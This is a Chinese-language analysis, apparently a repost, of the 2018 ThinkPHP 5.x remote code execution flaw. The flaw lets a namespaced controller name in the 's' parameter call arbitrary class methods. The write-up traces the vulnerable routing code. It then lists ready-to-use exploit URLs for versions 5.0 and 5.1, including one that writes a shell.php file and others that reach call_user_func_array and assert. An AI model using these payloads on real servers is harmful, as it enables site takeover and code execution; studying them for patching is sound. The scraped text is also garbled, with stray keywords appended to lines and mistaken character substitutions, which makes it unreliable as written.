[漏洞分析]thinkphp 5.x全版本任意代碼執行分析全記錄

0x00 簡介php

2018年12月10日中午,thinkphp官方公衆號發佈了一個更新通知,包含了一個5.x系列全部版本存在被getshell的高風險漏洞。linux

吃完飯回來看到這個公告都傻眼了,整個tp5系列都影響了,仍是getshell。git

(如下截圖爲後截圖,主要是想講一下從無到有,如何分析漏洞,整個過程是怎麼樣的。)thinkphp

 

0x01 漏洞原理shell

下午睡醒,趕忙起來分析漏洞。windows

結合官方公告說的因爲對控制器名沒有足夠的檢測,再查看官方git commit信息瀏覽器

拉一個tp下來,用的是tp 5.1.29的版本,windows+phpstudy 一把梭,搭建好環境。app

 

 在官方修改的地方加斷點(thinkphp\library\think\route\dispatch\Module.php),加載默認的控制器來分析。框架

請求:函數

http://127.0.0.1/index.php/index/index/index

命中斷點。

一步步跟進controller的走向,發如今同文件下的 exec函數,實例化控制器

 

 跟進controller方法,thinkphp\library\think\App.php

使用parseModuleAndClass方法來解析,繼續跟進

 

分析一下代碼,發現會有一個判斷,當控制器名中包含了反斜槓,就會直接返回,繼續跟蹤。

此處沒有包含,因此會進入下面的判斷,最後使用parseClass來解析,跟如parseClass函數

發現進過parseName以後index變成了首字母大寫,緣由是通過了命名風格轉換。

最後會將命名空間等進行拼接

返回咱們帶命名空間的完整類名。

跟進,回到了controller方法,此時判斷類是否存在,不存在會觸發自動加載類。

以後就是實例化類,使用反射來調用類的相應方法了。(偷懶省略掉了,主要是介紹一下分析的過程)

大概流程摸清楚了,那麼這個漏洞是怎麼觸發的呢?

在跟蹤的時候咱們發現,類名都是帶有完整的命名空間的,而命名空間剛好就是使用反斜槓來劃分,結合那一個判斷代碼:反斜槓是否存在,直接返回類名的操做。

不難想到是能夠調用任意類的方法。

好比這樣?

http://127.0.0.1/index.php/index/think\app/index

 請求一下,發現報錯了。

 what the fuck? 個人反斜槓怎麼變成了正斜槓了?並且這個控制器怎麼獲取的是Think?

猜想是瀏覽器的緣由,用bp發包同樣如此,那麼還有沒有其餘方法能夠獲取到呢?

翻了一下tp的配置文件

發現可使用s來獲取,那麼咱們就能夠嘗試使用

http://127.0.0.1/index.php?s=/index/think\app/index

成功實例化了App類,由於沒有index 方法因此這裏會報錯。

但已經驗證了整個漏洞的原理。

控制器過濾不嚴,結合直接返回類名的代碼操做,致使能夠用命名空間的方式來調用任意類的任意方法。

形如:

http://127.0.0.1/index.php?s=/index/namespace\class/method

漏洞點找到了,那麼就是找利用點了。

 

0x02 漏洞利用

tp 5.1.29 簡單找了個寫shell的方法,看到thinkphp\library\think\template\driver\File.php 文件

有一個完美的寫shell方法。

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

執行以後會在根目錄下寫入shell.php ,內容是輸出phpinfo();

 

那麼tp 5.0要怎麼利用呢??

接下來就是踩坑之旅了。

 

0x03 無盡的踩坑

把tp 5.1的payload,拉過去打一發,發現報錯了,控制器不存在??

 

 猜想是5.0和5.1的文件可能不同,打開一看,都同樣啊,怎麼加載不了。

上斷點,跟蹤。此處省略一萬字。

跟蹤半天發現類加載器有這麼一行代碼。位置: thinkphp\library\think\Loader.php 方法  autoload

以及一開始的獲取控制器的時候 會判斷是否自動轉換控制器,將控制器名變成小寫。

而這個url_convert配置項默認是true。

而咱們的類文件名是大寫的。

那麼在win下,因爲嚴格區分大小寫,因此必然不會加載到相應的類文件。

(圖中判斷,因爲IS_WIN爲True,!IS_WIN必爲False,邏輯與,一個爲False條件就成立。)

雖然最終因爲綁定參數的問題致使該方法依然不能夠用(這個問題就不展開分析了)

 

可是這個win環境的問題確實卡了我好久。

也難怪分析了半天,爲啥別人都那麼快就找出利用,原來都是linux的環境,能夠加載的類多了去了。

最終也致使5.0的本身沒有找到利用的類。

 

0x04 兼容多平臺的payload

綜上,因爲Windows的緣由,因此有一些payload在windows的主機上是不能夠利用的。

那麼哪些payload是能夠兼容多個平臺呢?

因爲windows自動加載類加載不到想要的類文件,因此可以下手的就是在框架加載的時候已經加載的類。

5.1是下面這些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

 

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

兩個版本公有的是:

think\Route 

think\Loader 

think\Error 

think\App 

think\Env 
think\Config 
think\Hook 

think\Lang 
think\Request 
think\Log 

本想找出兩個版本共有的利用類和方法,但因爲類文件大多被重寫了,因此沒耐住性子一一去找(菜)

因此,payload爲上述類的利用方法,是能夠兼容windows和linux多個平臺的,兼容多個平臺有什麼用呢?插件批量能夠減小誤判

好比:

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

 

0x05 總結

至此,算是把整個漏洞分析記錄講完了,和p喵嗚聊的時候,他也是被win坑的老慘。

因此珍惜生命,遠離windows xd。

還有就是本身太菜了,給各位大佬遞頭。

相關文章
相關標籤/搜索